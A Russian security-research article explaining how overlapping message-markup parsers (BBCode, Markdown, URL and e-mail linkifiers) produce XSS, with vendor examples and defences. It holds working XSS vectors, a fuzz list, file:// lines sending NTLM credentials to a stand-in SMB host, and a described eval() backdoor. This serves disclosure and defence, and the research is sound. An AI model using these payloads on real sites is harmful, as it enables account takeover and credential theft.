Привет, Хабр! Меня зовут Игорь Сак-Саковский, и я уже семь лет занимаюсь безопасностью веб-приложений в команде PT SWARM в компании Positive Technologies. В этой статье расскажу о моем недавнем исследовании, которое вошло в топ-10 методов веб-хакинга 2021 года по версии PortSwigger.

При общении в сети мы постоянно используем смайлики и выделяем текст в сообщениях. В Телеграме, Википедии, на GitHub и форумах это реализовано при помощи BBCode, MediaWiki и других языков разметки, использующих парсеры. Парсеры находят в сообщениях специальный код, тег или символ и преобразуют его в красивый текст с помощью HTML. А как известно, везде, где есть HTML, могут быть и XSS-атаки.

Я поделюсь методикой поиска проблем очистки передаваемых пользователями данных, которые могут привести к XSS-уязвимостям, покажу, как фаззить и находить проблемы при генерации HTML в сообщениях, а также проблемы парсеров, возникающие при их накладывании. Этот метод позволяет обнаруживать в популярных продуктах множество уязвимостей, которых раньше никто не замечал.

В статье вас ждет:

  1. Вводная теория о том, что такое XSS и чем он опасен.

  2. Советы, как искать XSS при отправке красивых сообщений.

  3. Способы тестирования сообщений: перечислю уже известные техники, а еще поделюсь свежей идеей.

  4. Список уязвимостей, которые я обнаружил в продуктах известных вендоров в процессе исследований, и чем они грозили.

  5. Способы защиты приложений при разработке и как, по моему мнению, следует правильно защищаться: объясню наглядно, почему способ, которым пользуется большинство, — неверный.

Для прокачанных белых хакеров или тех, кому лень читать статью целиком, привел названия вендоров, описание обнаруженных мною уязвимостей (не всех, а лишь тех, которые исправили) и их импакт.

Ниже текст сообщений, который приводил к уязвимостям.

Если с первого взгляда вам это кажется кашей, не пугайтесь — к концу статьи станет понятнее ????

XSS-терминология

Начнем с теории — разберем основные термины XSS, а именно cross-site scripting, origin и SOP.

XSS (сокр. от сross-site scripting, но CSS уже было занято) — это атака, позволяющая киберпреступнику управлять браузером жертвы, используя JavaScript. Она возникает, когда злоумышленник может внедрить произвольный JavaScript-код на страницу, которую посещает пользователь. Другими словами, атакующий может проводить действия скрытно от пользователя при посещении им уязвимого сайта.

На схеме — запрос, пытающийся протестировать приложение на наличие XSS-уязвимостей. В параметре URL передается HTML-код. Его обычно называют XSS-вектором, а место, где он отображается на странице, — XSS-контекстом.

В этом случае XSS-вектор не приводит к выполнению JavaScript-кода, поэтому он бесполезен. Чтобы JavaScript-код выполнился, нужно добавить в начало двойную кавычку и закрывающую угловую скобку.

Дополнительно приведу разные контексты, где тот же XSS-вектор не будет выполняться без доработок.

В первой строке XSS-вектор попадает в параметр тега, который не подразумевает выполнения HTML-кода из значения. Последний пример — XSS-вектор попадает в закомментированную строку. Остальные примеры — HTML-теги, игнорирующие скрипты внутри себя.

Origin — это адрес страницы, на которой запустился скрипт.

Same-origin policy (SOP) — политика безопасности, которая запрещает обращаться с одного сайта на другой и забирать с него контент или секретные данные. На схеме более подробно описано, как работает SOP.

SOP смотрит на три главных параметра в URL:

  1. URL-cхему.

  2. Доменное имя или IP-адрес.

  3. Порт после двоеточия.

В первом примере отличаются доменные имена, поэтому, если скрипт обратится по такому URL, он не сможет получить ответ. Во втором примере — относительная схема, а значит, все будет работать. В третьем — URL с относительным файлом, и он тоже будет работать. В четвертом примере отличаются схема (вместо HTTP — HTTPS) и порт (HTTP — 80, HTTPS — 443), поэтому скрипт будет заблокирован. В последнем примере отличается только порт (был 80, стал 8081), этот скрипт тоже не будет выполнен.

Чем страшны XSS-атаки

Давайте разберемся, что с помощью скрипта при его выполнении в браузере может украсть злоумышленник.

В обычных условиях вредоносный JavaScript позволяет получить следующее:

  • скриншот страницы — есть готовая библиотека html2canvas;

  • контент страницы — из свойства innerHTML у объекта document.documentElement;

  • IP-адрес пользователя, адрес страницы и версию браузера — если послать запрос средствами JavaScript или HTML на подконтрольный сервер, можно узнать IP пользователя, получить адрес страницы, на которой сработал скрипт в заголовке Referer, и версию браузера в заголовке User-Agent;

  • куки уязвимого веб-приложения, не имеющие флага безопасности HttpOnly, блокирующего чтение средствами JavaScript. Пожалуй, это классический способ эксплуатации XSS. Многие до сих пор думают, что если запретить доступ в куки, то через XSS их сайты невозможно взломать. Это ошибка;

  • sessionStorage и localStorage браузера — этот случай похож на пример с куки, так как тоже позволяет хранить данные в виде строк, поэтому разработчики часто размещают в них токены, сессионные ключи и прочее. В случае если эта информация заинтересует злоумышленников, они ее с легкостью украдут;

  • доступ к камере и микрофону (если уязвимый сайт ранее запрашивал доступ к ним) — чтобы получить доступ к любому видеочату, нужно дать разрешение на использование камеры и микрофона. Если злоумышленник найдет в этом чате XSS и отправит ее в чат, то, когда пользователь отключится и переключится на следующего собеседника, преступник сможет управлять браузером и перехватывать поток с камеры и микрофона. Это позволит ему без ведома легитимного владельца видеть и слышать все, что тот делает. Если же сайт не запрашивал доступ ранее, при выполнении этого скрипта пользователь получит запрос на доступ к камере и микрофону от имени уязвимого сайта, которому он доверяет;

  • страницы, которые пользователь будет посещать на этом сайте в дальнейшем — это выполняется с помощью простого трюка: в момент загрузки страницы JavaScript рисует элемент iframe поверх всего с точно такой же страницей. Обычно человек использует мышку для перемещения и очень редко задействует панель навигации или кнопку Обновить. Скорее всего, он будет перемещаться, кликая по кнопкам или формам в этом фрейме. При этом основная страница не будет перезагружаться, и скрипт продолжит выполняться. Однако скрипт не сможет перехватывать информацию, если пользователь перейдет на другой сайт или все-таки будет применять панель навигации. Помимо этого, адрес-бар «замерзнет» на странице, на которой запустился вредоносный скрипт.

Вредоносный JavaScript может содержать следующую функциональность:

  • Эксплойты нулевого дня для браузеров. Это может быть как 0-day, так и недавно исправленный 1-day. Киберпреступники вряд ли будут реализовывать такие атаки, чтобы взломать страницу в социальных сетях. Однако биржевому брокеру или банкиру не стоит исключать эту вероятность, так как в случае успеха затраты злоумышленников окупятся с лихвой.

  • Перехват паролей, сохраненных в браузере или менеджере паролей. Недавно вышло исследование о том, что менеджеры паролей в браузерах уязвимы: с помощью JavaScript можно заставить менеджеры искусственно подставить данные на страницу — и сразу же их забрать.

  • Перехват паролей с помощью iframe при их вводе в форму логина или кредитных карт. Пользователь перемещается по сайту, в то время как злоумышленник контролирует его действия с помощью ранее описанного трюка с iframe поверх страницы. Как только скрипт видит, что на странице в iframe появился HTML-тег input с атрибутом type="password", он добавляет на него прослушку и, как только пользователь заполнит это поле, перехватит значение.

  • Повышение привилегий в приложениях. Представим движок форума: самый первый пользователь, который его создает и запускает, — это администратор с соответствующими привилегиями. Он может добавить модераторов, которые будут следить за контентом, исправлять сообщения и, возможно, блокировать пользователей. При простой регистрации человек получит привилегии пользователя. Атака позволяет злоумышленникам управлять браузером. Если отправить XSS в сообщении администратору, то, когда он его прочитает, на короткое время у злоумышленников появится возможность воспользоваться привилегиями администратора через его браузер.

  • Повышение привилегий с моментальной эксплуатацией полученного функционала. Повышенные привилегии можно использовать, например, для создания администратора со своим паролем. Это повышение привилегий с последующим закреплением. В то же время функциональность панелей администратора в некоторых CMS позволяет отредактировать исходник сайта и добавить свой бэкдор либо, используя SQL-консоль, слить базу данных.

Origin и схема file://

Мы рассмотрели примеры того, что может сделать скрипт в обычных веб-приложениях, открываемых через браузеры. Давайте разберем конкретный случай со схемой file://. 

Помимо http:// и https://, существует схема JavaScript:, которая приводит к XSS, и схема file://, которая дает доступ к файлам. Однако это происходит не при открытии и запуске скриптов через браузер, а когда XSS работает в мобильном или десктопном приложении. Браузеры сегодня имеют такой уровень безопасности, что они блокируют любое обращение к схеме file://. В то же время десктопное приложение может использовать небезопасно запущенный встроенный браузер, который позволяет читать и запускать файлы с помощью схемы file://, а также отправлять NTLM-авторизацию на удаленный сервер. Вот несколько примеров, чтобы лучше понять, как это работает:

  • Для выполнения локального файла нужно открыть его как новую страницу. Это можно сделать с помощью функционала JavaScript (например, window.open, location), а также с помощью средств HTML (например, <a>, <form>, <iframe>, <area>, <object> ). Пример кода в небезопасном приложении, который может привести к запуску калькулятора по клику:

<a href="file:///c:/windows/system32/calc.exe">calc</a>

  • Утечка NTLM-аутентификации. У пользователей, использующих Windows, при попытке загрузить файл с помощью URL со схемой file:// с удаленного SMB-сервера произойдет утечка логина и зашифрованного пароля от учетной записи Windows. Затем этот пароль можно подобрать локально, используя вычислительные мощности видеокарты. Пример кода, посылающего NTLM на удаленный сервер при срабатывании в небезопасном приложении:

<img src="file://remotesmbhost.net/image.jpg" />

  • Выполнение удаленного файла с использованием SMB. Как и в предыдущем примере, попытка открыть файл с удаленного SMB-сервера как страницу в небезопасном приложении может привести к загрузке и запуску удаленного файла:

<iframe src="file://remotesmbhost.net/test.bat"></iframe>

  • Помимо запуска файлов, их можно еще и читать. Если открыть файл в небезопасном приложении URL со схемой file:// одним из способов, позволяющих прочитать ответ (XMLHttpRequest, fetch, window.open(), <iframe>), появится возможность чтения локальных файлов пользователя.

<iframe src="file://c:/users/username/desktop/secret.txt"></iframe>

Что еще может XSS: личный опыт

Несколько лет назад в рамках багбаунти-программы Ethereum  я исследовал кошелек go-ethereum (Geth). Я, как ламер, ввел в Google запрос: «Как запустить go-ethereum?», нашел пошаговый мануал и запустил кошелек. Побаловавшись с JSON API, я не нашел в нем ничего интересного, зато обнаружил, что по мануалу у меня получилось запустить кошелек так, что любой посещаемый мною сайт может обратиться к моему JSON API. Поискав дальше, я выяснил, что не только то руководство, которое я использовал, но и другие мануалы рекомендуют запускать кошелек таким образом, а также то, что помимо JSON API есть WebSocket API, который имеет схожие небезопасные параметры. К чему это может привести? К тому, что администратор популярного блога эфирной или криптотематики может разместить скрипт, который будет скрытно посылать запросы к кошелькам Ethereum посетителей сайта и красть из них деньги, если JSON или WebSocket API запущены небезопасно.

У меня не было такого сайта, и мне пришлось просмотреть несколько официальных ресурсов Ethereum в поиске интересной XSS. Я обнаружил поддомен forum.ethereum.org на очень знакомом мне движке Vanilla. Так получилось, что два раза до этого я находил XSS в сообщениях в этом движке, поэтому за один вечер мне удалось найти третью XSS, но уже для актуальной версии, а также составить цепочку, благодаря которой на каждой странице форума появлялся бы мой скрипт, обращающийся к кошелькам посетителей.

XSS в любом сообщении на forum.ethereum.org (Vanilla).

<div><![CDATA[><img src=s onerror=parentElement.innerHTML='';document.body.appendChild(document.createElement('script')).src='data:,alert(1)'> ]]></div>

Обнаруженная мной уязвимость заключалась в небезопасной обработке тега CDATA. Он подразумевал, что закрытие будет с помощью двух квадратных скобок и треугольной закрывающей скобки (]]>), как в XML. Но в HTML так не работает. Тег можно закрыть всего лишь одной треугольной скобкой, что и приводило к XSS.

XSS на любой странице форума с использованием возможности редактирования баннера в панели администратора.

http://%vanilla%/dashboard/settings/banner

Я установил себе локальный форум, зашел от имени администратора и обнаружил, что он может менять код баннера. Баннер — это картинка в левом верхнем углу форума, на которой указано его название, например Forum Ethereum. В баннере на моем локальном форуме была надпись по умолчанию — Vanilla 2. Баннер видят все посетители форума, в том числе неавторизованные, и в него можно по дефолту вставлять свой HTML-код.

Администратор читает сообщение. С баннером пока все нормально.

 В это время скрипт скрытно завершает выполнение и меняет баннер. Если обновить страницу или перейти на другую, в его коде можно увидеть следующее:

Для теста я зашел на форум как администратор и прочитал сообщение, которое написал пользователь с ником attacker. Затем проверил код баннера — на этом этапе все было без изменений. После того как я обновил страницу и перешел на следующую, в баннере появился скрипт. Далее я небезопасно запустил кошелек и попытался зайти на форум со скриптом в баннере.

Я использую rpccorsdomain "*" — небезопасный параметр, который разрешает всем сайтам обращаться к JSON API моего кошелька. Сразу после этого следует обратить внимание на еще один небезопасный параметр — unlock. Он подразумевает, что для указанного адреса кошелька пароль будет запрошен лишь один раз, когда я выполню эту команду. Во всех остальных случаях кошелек будет разблокирован, и я смогу использовать его через JSON API без пароля.

После запуска кошелька я зашел на локальный «взломанный» форум и посмотрел в консоль браузера.

Я сделал небольшой дебаг, но и без него было видно, что сыпется множество запросов на http://localhost:8545/. На изображении выше показано, что первым делом скрипт проверяет различные кошельки на отсутствие блокировки, находит кошелек с параметром unlock и выводит деньги. Деньги были ненастоящими, для теста я подключался к блокчейну разработчиков. Далее скрипт пытается подобрать пароль по словарю для тех кошельков, которые его запросили.

Пользователи наивно верят, что их криптовалютные ключи находятся только у них и никто не может их украсть или подобрать, поэтому часто устанавливают на кошельки пароли вроде 123, 12345 или 1, тем более парольная политика криптокошельков это позволяет.

Я зарепортил свою находку и получил ответ от специалистов Ethereum. Они поблагодарили меня и сообщили, что движок форума не входит в скоуп их багбаунти-программы. Они также отметили, что баг с доступом к API — это фича, и пользователи сами делают себя уязвимыми.

Классификация XSS-уязвимостей

Следующим этапом предлагаю разобрать типы XSS-уязвимостей:

1) Хранимая или отраженная?

  • хранимая XSS — XSS-вектор такой уязвимости будет передаваться лишь один раз и впоследствии будет где-то храниться;

  • отраженная XSS — для такой уязвимости приходится каждый раз при обращении к странице передавать XSS-вектор в уязвимом параметре.

2) Требуется ли от пользователя что-то сделать на странице, чтобы XSS сработала?

  • XSS, которой не требуется взаимодействовать с пользователем;

  • XSS, которая требует от пользователя взаимодействия — иногда XSS-вектор не позволяет выполнить JavaScript сразу после открытия страницы. Это связано с ограничениями функциональности используемого HTML-тега. Чтобы скрипт запустился, пользователь должен кликнуть мышкой по элементу с XSS.

Рассмотрим несколько примеров XSS-векторов, требующих взаимодействия с пользователем:

  • работает через атрибут onmousover, запускающий скрипт при наведении на элемент;

<div onmouseover="alert(1)">test</div>

  • работает при клике по ссылке и открытии URL со схемой JavaScript;

<a href="javascript:alert(1)">click me</a>

  • автоматически запускается через onmouseover.

<div onmouseover="parentElement.removeNode(this);alert(123)" style="position:absolute;top:-500px;left:-500px;height:2500px;width:2500px">test</div>

В приведенном случае используется тег div не имееющий событий, автоматически выполняющих скрипты после загрузки страницы. Поэтому выбираем атрибут onmouseover, отвечающий за запуск JavaScript по наведению мышки. Далее устанавливаем атрибут style и указываем, что наш тег будет находиться поверх остальных и растянут поверх всего окна, так как пользователь by design держит мышку в области окна. Когда все загрузилось, скрипт выполнился и удалил растянутый элемент, чтобы не блокировать нажатия на реальные элементы страницы.

3) DOM Based XSS или HTML-инъекция?

DOM Based XSS — возникает, когда XSS-вектор не попадает в HTML-код в ответе сервера, а берется средствами JavaScript из значений страницы, которые может контролировать пользователь, и впоследствии используется как HTML, не проходя фильтрацию.

Document Object Model (DOM) — модель представления всех HTML-элементов на странице в виде JavaScript-объектов. C помощью этой технологии, манипулируя свойствами JavaScript-объектов, можно манипулировать свойствами HTML-элементов на странице.

Простой пример DOM Based XSS:

<script>
queryString = location.search;
urlParams = new URLSearchParams(queryString);
redirectUrl = urlParams.get('URL');
document.write(`Click <a href="${redirectUrl}">here</a> to be redirected`)
</script>

В queryString попадает строка из location.search. Location.search — это часть URL после знака вопроса. Далее через URLSearchParams эта строка декодируется из процентной кодировки, что приводит к уязвимости. Потом декодированная строка без какой-либо обработки и фильтрации вставляется в код страницы как HTML.

Если при обращении к странице с таким кодом передать GET-параметр c XSS (?URL=asd"><img%20src=s%20onerror=alert(1)>), код из параметра добавится на страницу и выведет всплывающее окно с цифрой 1.

Поиск XSS при обмене сообщениями

Чтобы закрепить теорию, предлагаю пошагово поискать XSS на движке форумов vBulletin.

Форум vBulletin и тест XSS в лоб

Если попытаться вставить HTML-код <script>alert(1)</script> в сообщение на форуме, ничего не произойдет. Как видно на скриншоте выше, HTML-код вернется отфильтрованным и превращенным в HTML-сущности. Неужели здесь нет XSS? Самых простых действительно нет, но давайте попробуем копнуть поглубже.

Функционал сообщений на форуме позволяет добавлять в сообщения кликабельные ссылки, картинки, видео и смайлики, выделять текст жирным и различными цветами, а еще менять шрифт и его размер. За это отвечает встроенный язык разметки BBCode. Ранее я уже рассказывал о форуме Vanilla, где использовался урезанный HTML в качестве разметки сообщений, и что это приводило к уязвимостям. Остановимся подробнее на самых часто встречающихся языках разметки сообщений.

По моему мнению, HTML-разметка сообщений — самый небезопасный способ, так как разработчику необходимо знать очень много о HTML и о том, как выполнять JavaScript с помощью разных тегов. Кроме того, он должен уметь все это фильтровать. Естественно, незнание приводит к тому, что что-то не фильтруется.

Теги в BBCode похожи на HTML, только вместо треугольных скобок используются квадратные.

Еще один язык разметки — Markdown — можно встретить в Telegram и GitHub. У него читаемый и понятный синтаксис, но он более сложный для запоминания.

Wikitext используется для оформления статей в Википедии.

Есть и другие часто встречающиеся строки, превращаемые в HTML с помощью парсеров.

Например, :smile: можно заменить на эмоджи ???? или :). Ожидаемый результат — он превратится в картинку, то есть на страницу добавится тег <img> и будет ссылаться на файл картинки в атрибуте src.

Все, кто пользуется соцсетями, наверняка видели #hashtag, @username. В комментариях можно отправить такую строку, она станет кликабельной и позволит либо перейти по username на страницу пользователя, либо открыть поиск по хештегу.

Что касается ссылок, то после отправки они становятся голубыми и кликабельными. Кроме того, это может работать с e-mail адресами, ссылками на картинки или видео с YouTube.

На рисунке представлено, что должны содержать сообщения для тестирования парсеров.

Форум vBulletin и тест парсеров

Теперь попробуем вставить набор тестов парсеров в сообщение на форуме.

На скриншоте видно, что часть ссылок стали голубыми, тест BBCode выделен жирным шрифтом, есть два новых смайлика (то есть загрузились картинки с сервера).

Сами по себе кликабельные ссылки и картинки не уязвимости, а наши входные точки для новых тестов. Теперь мы можем проверять их на XSS.

Какие чаще всего бывают проблемы безопасности в этом функционале и как их тестировать

Если попробовать загуглить Markdown XSS или BBCode XSS, наверняка первыми примерами в поисковой выдаче будет проверка фильтрации HTML-символов (угловых скобок, одинарных или двойных кавычек), а также проверка использования URL-схемы JavaScript.

Приведу несколько примеров для проверки на фильтрацию разных синтаксисов:

1. Тестирование фильтрации HTML-символов.

BBCode: [quote]<script>alert(1)</script>[/quote]

URL: www.google.com/?param=value"><script>alert(1)</script>

Markdown: [google.com](http://google.com"><script>alert`1`</script>)

2. Тестирование фильтрации URL-схемы JavaScript.

BBCode: [url]javascript:alert(1)[/url]

URL: javascript://google.com/?q=%0aalert(1)

Markdown: [google.com](javascript:alert`1`)

Разберем этот кейс детальнее на примере выдуманного уязвимого чата. Отправляем в него несколько ссылок, которые превратятся в HTML.

URL scheme test
http://google.com
qwe://google.com
javascript://google.com/%0aalert(1)

Исходный код получившегося сообщения:

Первая ссылка ведет к реально существующей ссылке со схемой http://. 

Вторая ссылка — к произвольной схеме, которая вообще не должна парситься.

Третья — к небезопасной схеме JavaScript.

Поскольку все ссылки стали кликабельными, можно сделать вывод, что разработчик выдуманного чата был ленивым и сделал регулярку, которая берет cтроку и, если в ней есть ://, считает, что это ссылка. Это небезопасно.

3. Тестирование фильтрации file:// URL-схемы.

BBCode: [url]file:///C:/windows/system32/calc.exe?local[/url]

URL: file://remoteSMBserver.com/remotefile.txt

Markdown: [google.com](file://remoteSMBserver.com/remotefile.txt)

Этот пример показывает проверку на file:// URL-схему, которая бывает небезопасна в десктопных приложениях. Рассмотрим на примере блокнота AkelPad, как это работает.

Это обычный блокнот, который умеет подсвечивать ссылки и делать их кликабельными. Ссылки с произвольной схемой он не превратил в кликабельные, хотя сделал это c реально существующими схемами (http://, ftp://, file://). Если кликнуть дважды по последней ссылке, запустится калькулятор.

Если бы здесь была XSS, а не просто возможность вставлять кликабельные ссылки, то двойной клик можно было бы делать автоматически с помощью JavaScript, что привело бы к выполнению произвольного кода при просмотре файлов.

4. Тестирование на декодинг.

BBCode: [url]http://google.com/?%22%3e%3cscript%3ealert(1)%3c/script%3e[/url]

URL: http://google.com/?%22%3e%3cscript%3ealert(1)%3c/script%3e

Markdown: [google.com](http://google.com/?%22%3e%3cscript%3ealert`1`%3c/script%3e)

Еще одна известная проблема безопасности в разметке сообщений — передача закодированной строки, которая в дальнейшем превращается в текст.

Уязвимость возникает, когда строка сначала проходит обработку (в ней ищутся и обрабатываются все HTML-символы), а затем декодируется и вставляется на страницу. Самые часто встречаемые кодировки в вебе, которые исследователям стоит всегда проверять:

  • %3c — urlencode, или процентная кодировка;

  • \u003c — кодировка для JSON через обратный слеш;

  • (\3c) — CSS;

  • (&lt; &#x3c; &#60;) — HTML-сущности;

  • \x3c — JavaScript.

Наложение парсеров

Переходим к самому интересному — наложению парсеров.

Минутка юмора: мне кажется, эта картинка лучше всего объясняет суть непростой задачки.

Наложение парсеров — это состояние, когда одна строка обрабатывается двумя парсерами по очереди, что при определенных манипуляциях с ней дает внедрить JavaScript на страницу. Чтобы стало понятнее, разберем на примере. Для начала необходимо понимать, как выглядит простая блок-схема логики приложения, которое делает красивые HTML-сообщения из текста.

Суть в том, что на бэкенд отправляется текстовое сообщение. Там данные фильтруются (htmlspecialchars() находит все HTML-символы и заменяет их на безопасные HTML-сущности), далее с помощью регулярок парсеров URL и e-mail в тексте ищутся нужные строки, которые затем превращаются в HTML-код красивого интерактивного сообщения.

Фрагмент PHP-кода чата, уязвимого к наложению парсеров:

function returnCLickable($input){
$input = preg_replace('/(http|https|files):\/\/[^\s]*/', '<a href="${0}">${0}</a>', $input);
$input = preg_replace('/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)(\?\w*=[^\s]*|)/', '<a href="mailto:${0}">${0}</a>', $input);
$input = preg_replace('/\n/', '<br>', $input);
return $input . "\n\n";
}
$message = returnCLickable(htmlspecialchars($_GET['msg']));?>

PHP-код, делающий HTML-код из ссылок и адресов почт в текстовых сообщениях

Попробуем отправить ссылку и e-mail с параметрами в такой чат.

http://google.com

user@gmail.com?subject=Hi

Ссылки превратились в HTML-код. При клике по нижней открывается Microsoft Outlook, и для нового сообщения подставляется заголовок Hi из параметра subject.

Теперь попробуем сделать наложение, то есть отправляем такую строку, чтобы она выглядела и как URL, и как e-mail.

http://user@gmail.com?subject=Hi

В этом случае оба парсера сработают и вернут обратно некрасивое сообщение — станут видны фрагменты HTML-кода. В исходном коде можно заметить, что строка, отвечающая за e-mail, стала именем нового HTML-атрибута. 

Как это может использовать атакующий? На изображении ниже строка из input генерирует код из output. Кроме того, я создал пример beautified, чтобы было не так больно глазам. Красным отмечено начало и конец тега, желтым — название открываемых атрибутов, зеленым — значения атрибутов.

Внутри первого атрибута открывается новый тег. Первой двойной кавычкой этот атрибут закрывается. Дальше можно писать свои новые атрибуты. Вновь посмотрим на непонятный код сообщений, который я приводил в начале статьи. Сейчас я добавил колонку с пояснениями к каждому примеру сообщения.

Примеры вредоносных сообщений и их описания:

  • vBulletin — уязвимый BBCode [video] позволял внедрить произвольные атрибуты с использованием BBCode [font];

  • MyBB — два вставленных друг в друга BBCode email приводили к XSS;

  • PMWiki — наложение шорткодов;

  • Rocket.Chat — наложение шорткода для URL и Markdown кода для URL;

  • Discourse — декодинг после фильтрации (в этом случае он происходил и из процентной кодировки, и из HTML-сущности);

  • Kayako — возможно, тут тоже был какой-то декодинг или же просто отсутствовала какая-либо фильтрация. Точно ответить не могу, так как не смотрел исходники.

Вернемся к тестированию vBulletin на XSS. Для этого требуется собрать свой фазз-лист для тестов. Остановлюсь подробнее на том, как это делается.

Все ссылки и e-mail, которые подсветились голубым при тесте парсеров, а также BBCode и смайлики вставляем в «Список B». В нем собираем вообще все, что превращается в HTML из обычного текста.

В «Список A» добавляем только те строки, которые можем модернизировать, и они при этом все равно превратятся в HTML. Например, в URL можем вставить параметры или в e-mail изменить домен. В случае со смайликом, если что-то добавить между двоеточием и круглой скобкой, он сломается и не будет выводиться. Поэтому оставляем его только в «Списке B».

«Список C» я оставил наудачу: можно поместить туда всю ASCII-таблицу, попробовать разные кодировки или HTML-символы. Для этого берем строку, в которую вставляем строку из «Списка С» и «Списка В», а дальше поступаем так же с каждой по очереди.

Фрагмент листа для фаззинга сообщений на форуме vBulletin:

[VIDEO="qwe;123"]qw[font=qwe]qwe[/font]e[/VIDEO]

[video="youtube;123[font=qwe]qwe[/font]"]https://www.youtube.com/watch?v=jEn2cln7szEq[/video]

[video=twitch;123]https://www.twitch.tv/videos/285048327?collection=-41EjFuwRRWdeQ[font=qwe]qwe[/font][/video]

[video=youtube;123]https://www.youtube.com/watch?v=jEn2cln7szE[font=qwe]qwe[/font][/video]

[video=vimeo;123]https://vimeo.com/channels/staffpicks/285359780[font=qwe]qwe[/font][/video]

[video=mixer;123]https://www.facebook.com/gaming/?type=127929-Minecraft[font=qwe]qwe[/font][/video]

[video=metacafe;123]http://www.metacafe.com/watch/11718542/you-got-those-red-buns-hun/[font=qwe]qwe[/font][/video]

[video=liveleak;123]https://www.liveleak.com/view?i=715_1513068362[font=qwe]qwe[/font][/video]

[video=facebook;123]https://www.facebook.com/vietfunnyvideo/videos/1153286888148775[font=qwe]qwe[/font]/[/video]

[video=dailymotion;123]https://www.dailymotion.com/video/x6hx1c8[font=qwe]qwe[/font][/video]

[FONT=Ari[font=qwe]qwe[/font]al]qwe[/FONT]

[SIZE=11[font=qwe]qwe[/font]px]qwe[/SIZE]

[FONT="Ari[font=qwe]qwe[/font]al"]qwe[/FONT]

[SIZE="11[font=qwe]qwe[/font]px"]qwe[/SIZE]

[email]qwe@qw[font=qwe]qwe[/font]e.com[/email]

[email=qwe@qw[font=qwe]qwe[/font]e.com]qwe[/email]

[url]http://qwe@qw[font=qwe]qwe[/font]e.com[/url]

[url=http://qwe@qw[font=qwe]qwe[/font]e.com]qwe[/url]

[email="qwe@qw[font=qwe]qwe[/font]e.com"]qwe[/email]

Это не весь фазз-лист, а только лишь рабочий фрагмент. Уязвимый BBCode был [video], а BBCode, который нам помогал вставлять новые атрибуты в HTML-код — [font].

Методы обнаружения багов при фаззинге

Как понять, что мы обнаружили аномалию? Есть два способа:

  • Самый простой способ — визуальный. Он работает в тех случаях, когда мы не можем контролировать трафик или открывать исходный код страницы, допустим, в телефоне или в десктопном приложении, где все данные передаются зашифрованными и мы их не можем читать на лету.

Для визуального определения возьмем рабочий фрагмент фазз-листа и отправим на форум.

В итоге в тексте сообщения начинают появляться фрагменты HTML-кода, в том числе атрибуты HTML, — они сразу же бросаются в глаза.

  • Другой способ для случаев, когда можно все автоматизировать. Для этого нужно использовать регулярки, которые видят в атрибуте HTML открытие еще одного HTML-тега, то есть наличие открывающей угловой скобки.

Многим известна программа Burp Suite. На скриншоте ниже, используя функционал редактирования сообщения на форуме, я привел пример прогона фазз-листа.

Примечательно, что все отсортировано по седьмому столбцу, который содержит true-false-состояние используемой регулярки. Внизу скриншота регулярка выделила место, где она сработала. Если посмотреть внимательнее, можно заметить, что в данном примере открывается один тег внутри атрибута другого тега.

Пример эксплуатации и редактор шаблонов в vBulletin, доступный администратору

Итак, мы нашли XSS-уязвимость на форуме, но как понять, чем она опасна?

Если зайти на созданный мною в качестве примера локальный форум от имени администратора, можно обнаружить в его панели функционал редактора шаблонов PHP. Это значит, что злоумышленник, имея права администратора или управляя его браузером с помощью XSS, может дописать в PHP-код форума свой бэкдор.

В нижней части кода шаблона можно увидеть простой PHP-бэкдор, который берет данные из параметра на главный странице и вставляет их в функцию eval() , таким образом предоставляя неавторизованный доступ к серверу. 

Сценарий атаки выглядит так: как только администратор прочитает вредоносное сообщение, сработает XSS, и в его браузер загрузится скрипт. Далее этот скрипт отправит запросы к панели администратора на изменение шаблона главной страницы и добавит в него бэкдор.

Как защититься

Поговорим о том, как, не зазубривая справочник HTML, правильно защитить свое приложение при разработке.

Полностью отключить JavaScript на странице

Мне больше нравится вариант с полным отключением JavaScript, поскольку он внушает большее доверие, чем вариант, когда приходится максимально фильтровать данные, передаваемые пользователем снова и снова. 

Есть две технологии, которые позволяют в браузере отключать JavaScript на страницах:

1. Content Security Policy (CSP), или политика безопасности контента — представляет собой черный или белый список источников контента (URL-адресов). С ее помощью можно ограничить не только загрузку картинок, стилей или шрифтов на страницу, но и выполнение JavaScript.

Политику можно добавить двумя способами: 

  • вернуть ее в ответе сервера в заголовках;

  • посредством HTML-тега <meta>, который эмулирует заголовки ответа.

В этом случае я запрещаю обращаться куда-либо (default-src 'self'), подгружать ресурсы можно только со своего узла. Также блокируется выполнение инлайн-скриптов, так как они разрешаются отдельной директивой allow-inline. Если запустить скрипт alert(1) с такой политикой безопасности, ничего не произойдет, а в консоли браузера появится специфическая ошибка.

CSP очень гибкая: она может не только блокировать, но и оповещать об аномальных активностях, например загрузке небезопасного контента. Если добавить report-uri и адрес, то на этот адрес начнет летать JSON, информируя, что происходит нечто необычное.

2. <iframe> sandboxing — для отображения HTML-контента из недоверенного источника или HTML-контента, подконтрольного пользователям, можно воспользоваться фреймами с атрибутом sandbox.

Если контент отображается через iframe, можно добавить атрибут sandbox, и тогда перестанут работать редиректы и JavaScript. Чтобы включить что-то из этого обратно, нужно по очереди перечислить: «Я разрешаю JavaScript, я разрешаю редиректы».

На скриншоте представлен минимальный набор: пустой атрибут sandbox, далее через srcdoc происходит попытка запустить скрипт на открываемой странице. Снова ничего не происходит — в консоли видим, что скрипт успешно заблокирован и не может выполниться.

Санитайзинг или проще говоря — фильтрация

Этим способом защиты я пользуюсь нечасто, так как… Как было выяснено ранее, функция htmlspecialchars, заменяющая только HTML-символы, не защищает от наложения.

Во время тестирования Phorum CMS я обнаружил устаревшую версию XSS в BBCode [email]. Я решил проверить, воспроизводится ли она в последней версии. Оказалось, что разработчики ее уже исправили. Любопытно, что они закодировали абсолютно все, что контролирует пользователь в HTML-сущности. Для конечных пользователей в браузере это выглядит абсолютно обычно. Однако если открыть исходный код, будет видно, что это уже не указанный ранее e-mail.

Нижняя строка на рисунке — это исходный код сообщения после обработки на бэкенде.

Если и фильтровать текст, попадающий в HTML, то только так. Когда текст перекодирован полностью, нельзя сделать наложения, потому что нет возможности контролировать строки в генерируемом HTML.

Комментарии (2)


  1. arseney-aspiranto
    18.04.2023 05:44

    Эх, верни мне мой 2007)). Интересно, что нового в мире sql-иньекций?))


  1. ElonMusc
    18.04.2023 05:44

    а разве из-за крос-ориджин экс-с-с еще актуален?